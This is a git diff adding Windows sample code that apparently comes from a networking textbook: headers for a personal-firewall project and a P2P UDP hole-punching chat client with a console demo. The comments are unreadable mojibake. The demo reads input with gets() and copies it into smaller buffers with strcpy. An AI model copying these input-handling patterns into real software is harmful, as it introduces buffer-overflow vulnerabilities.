METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git a/Project/Network and Communication/Phoenix/user/common/PMacRes.h b/Project/Network and Communication/Phoenix/user/common/PMacRes.h new file mode 100644 index 0000000..d0b3fdb --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/PMacRes.h @@ -0,0 +1,102 @@ +///////////////////////////////////////// +// PMacRes.hÎļþ + + +#ifndef __PMACRES_H__ +#define __PMACRES_H__ + +////////////////////////////////////////// +// LSPÄ£¿éÏòÖ÷Ä£¿é·¢Ë͵ÄÏûÏ¢ +#define PM_SESSION_NOTIFY WM_USER + 200 +#define PM_QUERY_ACL_NOTIFY WM_USER + 201 + +#define CODE_CHANGE_SESSION 0 +#define CODE_DELETE_SESSION 1 +#define CODE_APP_EXIT 2 + + +////////////////////////////////////////// +// ¶ÔÌض¨Ó¦ÓóÌÐò²ÉÈ¡µÄ¶¯×÷ +#define PF_PASS 0 +#define PF_DENY 1 +#define PF_QUERY 2 +#define PF_FILTER 3 +#define PF_UNKNOWN 4 + +/////////////////////////////////////////// +// LSPÄ£¿éºÍIMÄ£¿éµÄ¹¤×÷ģʽ +#define PF_PASS_ALL 0 +#define PF_QUERY_ALL 1 +#define PF_DENY_ALL 2 + +#define IM_PASS_ALL 0 +#define IM_START_FILTER 1 + +/////////////////////////////////////////// +// ³ÌÐòʹÓõÄ×î´óÖµ +#define MAX_RULE_COUNT 100 +#define MAX_QUERY_SESSION 20 +#define MAX_SESSION_BUFFER 100 +#define INIT_SESSION_BUFFER 50 + +/////////////////////////////////////////// +// ¹æÔòÎļþʹÓõĺê +#define PHOENIX_SERVICE_DLL_NAME _T("PhoenixLSP.dll") +#define PHOENIX_PRODUCT_ID 0xFF01 +#define RULE_FILE_NAME _T("prule.fnk") +#define RULE_HEADER_SIGNATURE _T("PHOENIX/INC\0") + +#define RULE_HEADER_MAJOR 2 +#define RULE_HEADER_MINOR 1 + +#define RULE_HEADER_VERSION 2 + +#define RULE_HEADER_WEB_URL _T("http://www.yanping.net/\0") +#define RULE_HEADER_EMAIL _T("whitegest@sohu.com\0") + +/////////////////////////////////////////// +// DLLÄ£¿éI/O¿ØÖÆ´úÂë + +#define IO_CONTROL_SET_WORK_MODE 0 +#define IO_CONTROL_GET_WORK_MODE 1 +#define IO_CONTROL_SET_PHOENIX_INSTANCE 2 +#define IO_CONTROL_GET_SESSION 3 +#define IO_CONTROL_GET_QUERY_SESSION 4 +#define IO_CONTROL_SET_QUERY_SESSION 5 +#define IO_CONTROL_SET_RULE_FILE 6 + +/////////////////////////////////////////// +// ÏÂÃæÊǹýÂ˹æÔòÖÐʹÓõĺê + +// ²ÉÈ¡µÄ¶¯×÷ +#define RULE_ACTION_PASS 0 +#define RULE_ACTION_DENY 1 +#define RULE_ACTION_NOT_SET -1 + +// ·½Ïò +#define RULE_DIRECTION_IN 0 +#define RULE_DIRECTION_OUT 1 +#define RULE_DIRECTION_IN_OUT 2 +#define RULE_DIRECTION_NOT_SET -1 + +// ·þÎñÀàÐÍ +#define RULE_SERVICE_TYPE_ALL 0 // ËùÓÐÀàÐÍ +#define RULE_SERVICE_TYPE_TCP 1 // TCPЭÒé +#define RULE_SERVICE_TYPE_UDP 2 // UDPЭÒé +#define RULE_SERVICE_TYPE_FTP 3 // FTPЭÒé +#define RULE_SERVICE_TYPE_TELNET 4 +#define RULE_SERVICE_TYPE_HTTP 5 +#define RULE_SERVICE_TYPE_NNTP 6 +#define RULE_SERVICE_TYPE_POP3 7 +#define RULE_SERVICE_TYPE_SMTP 8 + +// ·þÎñ¶Ë¿ÚºÅ +#define RULE_SERVICE_PORT_ALL 0 +#define RULE_SERVICE_PORT_FTP 21 +#define RULE_SERVICE_PORT_TELNET 23 +#define RULE_SERVICE_PORT_NNTP 119 +#define RULE_SERVICE_PORT_POP3 110 +#define RULE_SERVICE_PORT_SMTP 25 +#define RULE_SERVICE_PORT_HTTP 80 + +#endif // __PMACRES_H__ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/common/TypeStruct.h b/Project/Network and Communication/Phoenix/user/common/TypeStruct.h new file mode 100644 index 0000000..8c9a7c9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/TypeStruct.h @@ -0,0 +1,115 @@ +///////////////////////////////////////////// +// TypeStruct.hÎļþ + + + +#include "PMacRes.h" +#include "iocommon.h" + +#ifndef __TYPESTRUCT_H__ +#define __TYPESTRUCT_H__ + +//////////////////////////////////////////// + +// Óû§²ã¹ýÂ˹æÔò +struct RULE_ITEM +{ + TCHAR szApplication[MAX_PATH]; // Ó¦ÓóÌÐòÃû³Æ + UCHAR ucAction; // ²ÉÈ¡µÄ¶¯×÷ + UCHAR ucDirection; // ·½Ïò + UCHAR ucServiceType; // ·þÎñÀàÐÍ + USHORT usServicePort; // ·þÎñ¶Ë¿Ú + TCHAR sDemo[51]; // ÃèÊö +}; + +// ÎļþÍ·½á¹¹ +struct RULE_FILE_HEADER +{ + TCHAR szSignature[12]; // ÎļþÇ©Ãû + ULONG ulHeaderLength; // Í·³¤¶È + + UCHAR ucMajorVer; // Ö÷°æ±¾ºÅ + UCHAR ucMinorVer; // ´Î°æ±¾ºÅ + DWORD dwVersion; // ÎļþÍ·°æ±¾ + + UCHAR ucLspWorkMode; // ¹¤×÷ģʽ + UCHAR ucKerWorkMode; + UCHAR bAutoStart; // ÊÇ·ñ¿ª»ú×Ô¶¯Æô¶¯ + + TCHAR szWebURL[MAX_PATH]; // ÖÆÔìÉÌWebÒ³Ãæ + TCHAR szEmail[MAX_PATH]; // ÖÆÔìÉÌEmailµØÖ· + + ULONG ulLspRuleCount; // Óû§²ã¹ýÂ˹æÔòµÄ¸öÊý + ULONG ulKerRuleCount; // ºËÐIJã¹ýÂ˹æÔòµÄ¸öÊý +}; + +// Îļþ½á¹¹ +struct RULE_FILE +{ + RULE_FILE_HEADER header; + RULE_ITEM LspRules[MAX_RULE_COUNT]; + PassthruFilter KerRules[MAX_RULE_COUNT]; +}; + + + +/////////////////////////////////// +// »á»° + +struct SESSION +{ + SOCKET s; + int nProtocol; // ʹÓõÄЭÒ飬ÈçTCP¡¢UDP¡¢FTPµÈ + UCHAR ucDirection; // ·½Ïò + ULONG ulLocalIP; // ±¾µØIPµØÖ· + ULONG ulRemoteIP; // Ô¶³ÌIPµØÖ· + USHORT usLocalPort; // ±¾µØ¶Ë¿ÚºÅ + USHORT usRemotePort; // Ô¶³Ì¶Ë¿ÚºÅ + TCHAR szPathName[MAX_PATH]; // Ó¦ÓóÌÐò + UCHAR ucAction; // ¶Ô´ËSessionµÄ·´Ó¦ + // others Èç Æô¶¯Ê±¼ä¡¢·¢Ë͵Ä×Ö½ÚÊýµÈ +}; + + +struct QUERY_SESSION +{ + UCHAR bUsed; // ָʾ´Ë½á¹¹ÊÇ·ñʹÓà + TCHAR szPathName[MAX_PATH]; // Ó¦ÓóÌÐòÃû + int nReturnValue; // Ö÷Ä£¿éµÄ·µ»ØÖµ +}; + +// DLL IO¿ØÖƽṹ +struct LSP_IO_CONTROL // IO¿ØÖƺ¯ÊýµÄ²ÎÊýÀàÐÍ +{ + UCHAR ucWorkMode; // ¹¤×÷ģʽ + RULE_FILE *pRuleFile; // ¹æÔòÎļþ + + HWND hPhoenixWnd; // ½ÓÊÕLSPÏûÏ¢µÄ´°¿Ú + + TCHAR szPath[MAX_PATH]; // Ö÷³ÌÐò·¾¶ + + SESSION *pSession; // ÓÃÓÚÈ¡µÃÒ»¸öSession + int nSessionIndex; +}; + +typedef int (__stdcall * PFNLSPIoControl)(LSP_IO_CONTROL *pIoControl, int nType); + + + + + + + + + + + + + + + + + + + +#endif // __TYPESTRUCT_H__ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/common/_desktop.ini b/Project/Network and Communication/Phoenix/user/common/_desktop.ini new file mode 100644 index 0000000..18aa814 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/_desktop.ini @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/common/initsock.h b/Project/Network and Communication/Phoenix/user/common/initsock.h new file mode 100644 index 0000000..ecd9029 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/common/initsock.h @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 0) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git a/Project/Network and Communication/_desktop.ini b/Project/Network and Communication/_desktop.ini new file mode 100644 index 0000000..18aa814 --- /dev/null +++ b/Project/Network and Communication/_desktop.ini @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.cpp" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.cpp" new file mode 100644 index 0000000..3be8c56 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.cpp" @@ -0,0 +1,422 @@ +////////////////////////////////////////////////////// +// p2pclient.cppÎļþ + + +#include +#include +#include "p2pclient.h" +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +CP2PClient::CP2PClient() +{ + m_bLogin = FALSE; + m_hThread = NULL; + m_s = INVALID_SOCKET; + + memset(&m_ol, 0, sizeof(m_ol)); + m_ol.hEvent = ::WSACreateEvent(); + + ::InitializeCriticalSection(&m_PeerListLock); + + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + ::WSAStartup(sockVersion, &wsaData); +} + +CP2PClient::~CP2PClient() +{ + Logout(); + + // ֪ͨ½ÓÊÕÏß³ÌÍ˳ö + if(m_hThread != NULL) + { + m_bThreadExit = TRUE; + ::WSASetEvent(m_ol.hEvent); + ::WaitForSingleObject(m_hThread, 300); + ::CloseHandle(m_hThread); + } + + if(m_s != INVALID_SOCKET) + ::closesocket(m_s); + + ::WSACloseEvent(m_ol.hEvent); + + ::DeleteCriticalSection(&m_PeerListLock); + ::WSACleanup(); +} + +BOOL CP2PClient::Init(USHORT usLocalPort) +{ + if(m_s != INVALID_SOCKET) + return FALSE; + + // ´´½¨ÓÃÓÚP2PͨÐŵÄUDPÌ×½Ú×Ö£¬½øÐÐ°ó¶¨ + m_s = ::WSASocket(AF_INET, + SOCK_DGRAM , IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED); + + sockaddr_in localAddr = { 0 }; + localAddr.sin_family = AF_INET; + localAddr.sin_port = htons(usLocalPort); + localAddr.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(m_s, (LPSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR) + { + ::closesocket(m_s); + m_s = INVALID_SOCKET; + return FALSE; + } + if(usLocalPort == 0) + { + int nLen = sizeof(localAddr); + ::getsockname(m_s, (sockaddr*)&localAddr, &nLen); + usLocalPort = ntohs(localAddr.sin_port); + } + + // »ñÈ¡±¾µØ»úÆ÷µÄIPµØÖ·£¬µÃµ½µ±Ç°Óû§µÄ˽ÓÐÖÕ¶Ë + char szHost[256]; + ::gethostname(szHost, 256); + hostent *pHost = ::gethostbyname(szHost); + + memset(&m_LocalPeer, 0, sizeof(m_LocalPeer)); + for(int i=0; ih_addr_list[i]; + if(p == NULL) + break; + + memcpy(&m_LocalPeer.addr[i].dwIp, &p, pHost->h_length); + m_LocalPeer.addr[i].nPort = usLocalPort; + m_LocalPeer.AddrNum ++; + } + + // ´´½¨½ÓÊÕ·þÎñÏß³Ì + m_bThreadExit = FALSE; + m_hThread = ::CreateThread(NULL, 0, RecvThreadProc, this, 0, NULL); + + return TRUE; +} + +BOOL CP2PClient::Login(char *pszUserName, char *pszServerIp) +{ + if(m_bLogin || strlen(pszUserName) > MAX_USERNAME - 1) + return FALSE; + + // ±£´æ²ÎÊý + m_dwServerIp = ::inet_addr(pszServerIp); + strncpy(m_LocalPeer.szUserName, pszUserName, strlen(pszUserName)); + + + // ·þÎñÆ÷Ãû³Æ + sockaddr_in serverAddr = { 0 }; + serverAddr.sin_family = AF_INET; + serverAddr.sin_addr.S_un.S_addr = m_dwServerIp; + serverAddr.sin_port = htons(SERVER_PORT); + + // Ïò·þÎñ·¢Ëͱ¾Óû§ÐÅÏ¢ + CP2PMessage logMsg; + logMsg.nMessageType = USERLOGIN; + memcpy(&logMsg.peer, &m_LocalPeer, sizeof(PEER_INFO)); + + for(int i=0; i MAX_USERNAME - 1 + || nTextLen > MAX_PACKET_SIZE - sizeof(CP2PMessage)) + return FALSE; + + // ¹¹½¨·â°ü + char sendBuf[MAX_PACKET_SIZE]; + CP2PMessage *pMsg = (CP2PMessage*)sendBuf; + pMsg->nMessageType = P2PMESSAGE; + memcpy(&pMsg->peer, &m_LocalPeer, sizeof(m_LocalPeer)); + memcpy((pMsg + 1), pszText, nTextLen); + + m_bMessageACK = FALSE; + for(int i=0; ip2pAddr.dwIp != 0) + { + sockaddr_in peerAddr = { 0 }; + peerAddr.sin_family = AF_INET; + peerAddr.sin_addr.S_un.S_addr = pInfo->p2pAddr.dwIp; + peerAddr.sin_port = htons(pInfo->p2pAddr.nPort); + + ::sendto(m_s, sendBuf, + nTextLen + sizeof(CP2PMessage), 0, (sockaddr*)&peerAddr, sizeof(peerAddr)); + + for(int j=0; j<10; j++) + { + if( m_bMessageACK) + return TRUE; + ::Sleep(300); + } + } + + // ÇëÇó´ò¶´£¬²¢ÇÒÖØÐÂÉèÖÃP2PµØÖ· + pInfo->p2pAddr.dwIp = 0; + + // ¹¹½¨·â°ü + char tmpBuf[sizeof(CP2PMessage) + MAX_USERNAME]; + CP2PMessage *p = (CP2PMessage *)tmpBuf; + p->nMessageType = P2PCONNECT; + memcpy(&p->peer, &m_LocalPeer, sizeof(m_LocalPeer)); + memcpy((char*)(p + 1), pszUserName, strlen(pszUserName) + 1); + + // Ê×ÏÈÖ±½Ó·¢ÏòÄ¿±ê£¬ + sockaddr_in peerAddr = { 0 }; + peerAddr.sin_family = AF_INET; + int j=0; + for(j; jAddrNum; j++) + { + peerAddr.sin_addr.S_un.S_addr = pInfo->addr[j].dwIp; + peerAddr.sin_port = htons(pInfo->addr[j].nPort); + ::sendto(m_s, tmpBuf, sizeof(CP2PMessage), 0, (sockaddr*)&peerAddr, sizeof(peerAddr)); + } + + // È»ºóͨ¹ý·þÎñÆ÷ת·¢£¬ÇëÇó¶Ô·½Ïò×Ô¼º´ò¶´ + sockaddr_in serverAddr = { 0 }; + serverAddr.sin_family = AF_INET; + serverAddr.sin_addr.S_un.S_addr = m_dwServerIp; + serverAddr.sin_port = htons(SERVER_PORT); + ::sendto(m_s, tmpBuf, + sizeof(CP2PMessage) + MAX_USERNAME, 0, (sockaddr*)&serverAddr, sizeof(serverAddr)); + + // µÈ´ý¶Ô·½µÄP2PCONNECTACKÏûÏ¢ + for(j=0; j<10; j++) + { + if(pInfo->p2pAddr.dwIp != 0) + break; + ::Sleep(300); + } + } + return 0; +} + +BOOL CP2PClient::GetUserList() +{ + // ·þÎñÆ÷µØÖ· + sockaddr_in serverAddr = { 0 }; + serverAddr.sin_family = AF_INET; + serverAddr.sin_addr.S_un.S_addr = m_dwServerIp; + serverAddr.sin_port = htons(SERVER_PORT); + // ¹¹½¨·â°ü + CP2PMessage msgList; + msgList.nMessageType = GETUSERLIST; + memcpy(&msgList.peer, &m_LocalPeer, sizeof(m_LocalPeer)); + // ɾ³ýËùÓнڵã + ::EnterCriticalSection(&m_PeerListLock); + m_PeerList.DeleteAllPeers(); + ::LeaveCriticalSection(&m_PeerListLock); + + // ·¢ËÍGETUSERLISTÇëÇ󣬵ȴýÁÐ±í·¢ËÍÍê³É + m_bUserlistCmp = FALSE; + int nUserCount = 0; + for(int i=0; i nUserCount); + } + return FALSE; +} + +DWORD WINAPI CP2PClient::RecvThreadProc(LPVOID lpParam) +{ + CP2PClient *pThis = (CP2PClient *)lpParam; + char buff[MAX_PACKET_SIZE]; + sockaddr_in remoteAddr; + int nAddrLen = sizeof(remoteAddr); + WSABUF wsaBuf; + wsaBuf.buf = buff; + wsaBuf.len = MAX_PACKET_SIZE; + + // ½ÓÊÕ´¦Àíµ½À´µÄÏûÏ¢ + while(TRUE) + { + DWORD dwRecv, dwFlags = 0; + int nRet = ::WSARecvFrom(pThis->m_s, &wsaBuf, + 1, &dwRecv, &dwFlags, (sockaddr*)&remoteAddr, &nAddrLen, &pThis->m_ol, NULL); + if(nRet == SOCKET_ERROR && ::WSAGetLastError() == WSA_IO_PENDING) + { + ::WSAGetOverlappedResult(pThis->m_s, &pThis->m_ol, &dwRecv, TRUE, &dwFlags); + } + // Ê×ÏȲ鿴ÊÇ·ñÒªÍ˳ö + if(pThis->m_bThreadExit) + break; + // µ÷ÓÃHandleIOº¯ÊýÀ´´¦ÀíÕâ¸öÏûÏ¢ + pThis->HandleIO(buff, dwRecv, (sockaddr *)&remoteAddr, nAddrLen); + } + return 0; +} + +void CP2PClient::HandleIO(char *pBuf, int nBufLen, sockaddr *addr, int nAddrLen) +{ + CP2PMessage *pMsg = (CP2PMessage*)pBuf; + if(nBufLen < sizeof(CP2PMessage)) + return; + + switch(pMsg->nMessageType) + { + case USERLOGACK: // ½ÓÊÕµ½·þÎñÆ÷·¢À´µÄµÇ½ȷÈÏ + { + memcpy(&m_LocalPeer, &pMsg->peer, sizeof(PEER_INFO)); + m_bLogin = TRUE; + } + break; + case P2PMESSAGE: // ÓÐÒ»¸ö½ÚµãÏòÎÒÃÇ·¢ËÍÏûÏ¢ + { + int nDataLen = nBufLen - sizeof(CP2PMessage); + if(nDataLen > 0) + { + // ·¢ËÍÈ·ÈÏÏûÏ¢ + CP2PMessage ackMsg; + ackMsg.nMessageType = P2PMESSAGEACK; + memcpy(&ackMsg.peer, &m_LocalPeer, sizeof(PEER_INFO)); + ::sendto(m_s, (char*)&ackMsg, sizeof(ackMsg), 0, addr, nAddrLen); + + OnRecv(pMsg->peer.szUserName, (char*)(pMsg + 1), nDataLen); + } + } + break; + case P2PMESSAGEACK: // ÊÕµ½ÏûÏ¢µÄÓ¦´ð + { + m_bMessageACK = TRUE; + } + break; + + case P2PCONNECT: // Ò»¸ö½ÚµãÇëÇó½¨Á¢P2PÁ¬½Ó£¨´ò¶´£©£¬¿ÉÄÜÊÇ·þÎñÆ÷·¢À´µÄ£¬Ò²¿ÉÄÜÊÇÆäËü½Úµã·¢À´µÄ + { + CP2PMessage ackMsg; + ackMsg.nMessageType = P2PCONNECTACK; + memcpy(&ackMsg.peer, &m_LocalPeer, sizeof(PEER_INFO)); + + if(((sockaddr_in*)addr)->sin_addr.S_un.S_addr != m_dwServerIp) // ½Úµã·¢À´µÄÏûÏ¢ + { + ::EnterCriticalSection(&m_PeerListLock); + PEER_INFO *pInfo = m_PeerList.GetAPeer(pMsg->peer.szUserName); + if(pInfo != NULL) + { + if(pInfo->p2pAddr.dwIp == 0) + { + pInfo->p2pAddr.dwIp = ((sockaddr_in*)addr)->sin_addr.S_un.S_addr; + pInfo->p2pAddr.nPort = ntohs(((sockaddr_in*)addr)->sin_port); + + printf(" Set P2P address for %s -> %s:%ld \n", pInfo->szUserName, + ::inet_ntoa(((sockaddr_in*)addr)->sin_addr), ntohs(((sockaddr_in*)addr)->sin_port)); + } + } + ::LeaveCriticalSection(&m_PeerListLock); + + ::sendto(m_s, (char*)&ackMsg, sizeof(ackMsg), 0, addr, nAddrLen); + } + else // ·þÎñÆ÷ת·¢µÄÏûÏ¢ + { + // Ïò½ÚµãµÄËùÓÐÖն˷¢ËÍ´ò¶´ÏûÏ¢ + sockaddr_in peerAddr = { 0 }; + peerAddr.sin_family = AF_INET; + for(int i=0; ipeer.AddrNum; i++) + { + peerAddr.sin_addr.S_un.S_addr = pMsg->peer.addr[i].dwIp; + peerAddr.sin_port = htons(pMsg->peer.addr[i].nPort); + ::sendto(m_s, (char*)&ackMsg, sizeof(ackMsg), 0, (sockaddr*)&peerAddr, sizeof(peerAddr)); + } + } + } + break; + + case P2PCONNECTACK: // ½ÓÊÕµ½½ÚµãµÄ´ò¶´ÏûÏ¢£¬ÔÚÕâÀïÉèÖÃËüµÄP2PͨÐŵØÖ· + { + ::EnterCriticalSection(&m_PeerListLock); + PEER_INFO *pInfo = m_PeerList.GetAPeer(pMsg->peer.szUserName); + if(pInfo != NULL) + { + if(pInfo->p2pAddr.dwIp == 0) + { + pInfo->p2pAddr.dwIp = ((sockaddr_in*)addr)->sin_addr.S_un.S_addr; + pInfo->p2pAddr.nPort = ntohs(((sockaddr_in*)addr)->sin_port); + + printf(" Set P2P address for %s -> %s:%ld \n", pInfo->szUserName, + ::inet_ntoa(((sockaddr_in*)addr)->sin_addr), ntohs(((sockaddr_in*)addr)->sin_port)); + } + + } + ::LeaveCriticalSection(&m_PeerListLock); + + } + break; + + case USERACTIVEQUERY: // ·þÎñÆ÷ѯÎÊÊÇ·ñ´æ»î + { + CP2PMessage ackMsg; + ackMsg.nMessageType = USERACTIVEQUERYACK; + memcpy(&ackMsg.peer, &m_LocalPeer, sizeof(PEER_INFO)); + ::sendto(m_s, (char*)&ackMsg, sizeof(ackMsg), 0, addr, nAddrLen); + } + break; + case GETUSERLIST: // ·þÎñÆ÷·¢Ë͵ÄÓû§Áбí + { + // Ê×ÏÈÇå³ý´ËÓû§µÄP2PµØÖ·£¬ÔÙ½«Óû§ÐÅÏ¢±£´æµ½±¾µØÓû§ÁбíÖÐ + pMsg->peer.p2pAddr.dwIp = 0; + ::EnterCriticalSection(&m_PeerListLock); + m_PeerList.AddAPeer(&pMsg->peer); + ::LeaveCriticalSection(&m_PeerListLock); + } + break; + case USERLISTCMP: // Óû§ÁÐ±í´«Êä½áÊø + { + m_bUserlistCmp = TRUE; + } + break; + } +} + + + + + diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.h" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.h" new file mode 100644 index 0000000..0c7eb34 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClient.h" @@ -0,0 +1,56 @@ +//////////////////////////////////////////////////////// +// p2pclient.hÎļþ + +#ifndef __P2PCLIENT_H__ +#define __P2PCLIENT_H__ + +#include +#include "../comm.h" + +class CP2PClient +{ +public: + CP2PClient(); + ~CP2PClient(); + // ³õʼ»¯¶ÔÏóµÄ³ÉÔ± + BOOL Init(USHORT usLocalPort = 0); + + // µÇ½·þÎñÆ÷£¬µÇ³ö·þÎñÆ÷ + BOOL Login(char *pszUserName, char *pszServerIp); + void Logout(); + + // Ïò·þÎñÆ÷ÇëÇóÓû§ÁÐ±í£¬¸üÐÂÓû§Áбí¼Ç¼ + BOOL GetUserList(); + + // ÏòÒ»¸öÓû§·¢ËÍÏûÏ¢ + BOOL SendText(char *pszUserName, char *pszText, int nTextLen); + + // ½ÓÊÕµ½À´ÏûÏ¢µÄÐ麯Êý + virtual void OnRecv(char *pszUserName, char *pszData, int nDataLen) { } + + // Óû§Áбí + CPeerList m_PeerList; + +protected: + void HandleIO(char *pBuf, int nBufLen, sockaddr *addr, int nAddrLen); + static DWORD WINAPI RecvThreadProc(LPVOID lpParam); + + CRITICAL_SECTION m_PeerListLock; // ͬ²½¶ÔÓû§ÁбíµÄ·ÃÎÊ + + SOCKET m_s; // ÓÃÓÚP2PͨÐŵÄÌ×½Ú×Ö¾ä±ú + HANDLE m_hThread; // Ï߳̾ä±ú + WSAOVERLAPPED m_ol; // ÓÃÓڵȴýÍøÂçʼþµÄÖصþ½á¹¹ + + PEER_INFO m_LocalPeer; // ±¾Óû§ÐÅÏ¢ + + DWORD m_dwServerIp; // ·þÎñÆ÷IPµØÖ· + + BOOL m_bThreadExit; // ÓÃÓÚָʾ½ÓÊÕÏß³ÌÍ˳ö + + BOOL m_bLogin; // ÊÇ·ñµÇ½ + BOOL m_bUserlistCmp; // Óû§ÁбíÊÇ·ñ´«Êä½áÊø + BOOL m_bMessageACK; // ÊÇ·ñ½ÓÊÕµ½ÏûÏ¢Ó¦´ð +}; + + +#endif // __P2PCLIENT_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.cpp" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.cpp" new file mode 100644 index 0000000..885c250 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.cpp" @@ -0,0 +1,112 @@ +////////////////////////////////////////////////////////// +// P2PClient.cppÎļþ + + + +#include +#include +#include "p2pclient.h" + +class CMyP2P : public CP2PClient +{ +public: + + void OnRecv(char *pszUserName, char *pszData, int nDataLen) + { + pszData[nDataLen] = '\0'; + printf(" Recv a Message from %s : %s \n", pszUserName, pszData); + } +}; + +void main() +{ + CMyP2P client; + if(!client.Init(0)) + { + printf(" CP2PClient::Init() failed \n"); + return ; + } + + // »ñÈ¡·þÎñÆ÷IPµØÖ·ºÍÓû§Ãû + char szServerIp[20]; + char szUserName[MAX_USERNAME]; + printf(" Please input server ip: "); + gets(szServerIp); + printf(" Please input your name: "); + gets(szUserName); + // µÇ½·þÎñÆ÷ + if(!client.Login(szUserName, szServerIp)) + { + printf(" CP2PClient::Login() failed \n"); + return ; + } + // µÚÒ»´ÎµÇ½£¬Ê×ÏȸüÐÂÓû§Áбí + client.GetUserList(); + // ½«µ±Ç°×´Ì¬ºÍ±¾³ÌÐòµÄÓ÷¨Êä³ö¸øÓû§ + printf(" %s has successfully logined server \n", szUserName); + printf("\n Commands are: \"getu\", \"send\", \"exit\" \n"); + // Ñ­»·´¦ÀíÓû§ÃüÁî + char szCommandLine[256]; + while(TRUE) + { + gets(szCommandLine); + if(strlen(szCommandLine) < 4) + continue; + + // ½âÎö³öÃüÁî + char szCommand[10]; + strncpy(szCommand, szCommandLine, 4); + szCommand[4] = '\0'; + if(stricmp(szCommand, "getu") == 0) + { + // »ñÈ¡Óû§Áбí + if(client.GetUserList()) + { + printf(" Have %d users logined server: \n", client.m_PeerList.m_nCurrentSize); + for(int i=0; iszUserName, + ::inet_ntoa(*((in_addr*)&pInfo->addr[pInfo->AddrNum -1].dwIp)), pInfo->addr[pInfo->AddrNum - 1].nPort); + } + } + else + { + printf(" Get User List Failure !\n"); + } + } + + else if(stricmp(szCommand, "send") == 0) + { + // ½âÎö³ö¶Ô·½Óû§Ãû + char szPeer[MAX_USERNAME]; + int i=5; + for(i;;i++) + { + if(szCommandLine[i] != ' ') + szPeer[i-5] = szCommandLine[i]; + else + { + szPeer[i-5] = '\0'; + break; + } + } + + // ½âÎö³öÒª·¢Ë͵ÄÏûÏ¢ + char szMsg[56]; + strcpy(szMsg, &szCommandLine[i+1]); + + // ·¢ËÍÏûÏ¢ + if(client.SendText(szPeer, szMsg, strlen(szMsg))) + printf(" Send OK! \n"); + else + printf(" Send Failure! \n"); + + } + else if(stricmp(szCommand, "exit") == 0) + { + break; + } + } +} + diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.sln" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.sln" new file mode 100644 index 0000000..8dda4c0 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "P2PClientDemo", "P2PClientDemo.vcproj", "{2D1EA9A8-2198-4BFD-880E-731FC8ABFF33}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2D1EA9A8-2198-4BFD-880E-731FC8ABFF33}.Debug|Win32.ActiveCfg = Debug|Win32 + {2D1EA9A8-2198-4BFD-880E-731FC8ABFF33}.Debug|Win32.Build.0 = Debug|Win32 + {2D1EA9A8-2198-4BFD-880E-731FC8ABFF33}.Release|Win32.ActiveCfg = Release|Win32 + {2D1EA9A8-2198-4BFD-880E-731FC8ABFF33}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.suo" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.suo" new file mode 100644 index 0000000..2ede6f3 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.suo" differ diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.vcproj" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.vcproj" new file mode 100644 index 0000000..12bbf56 --- 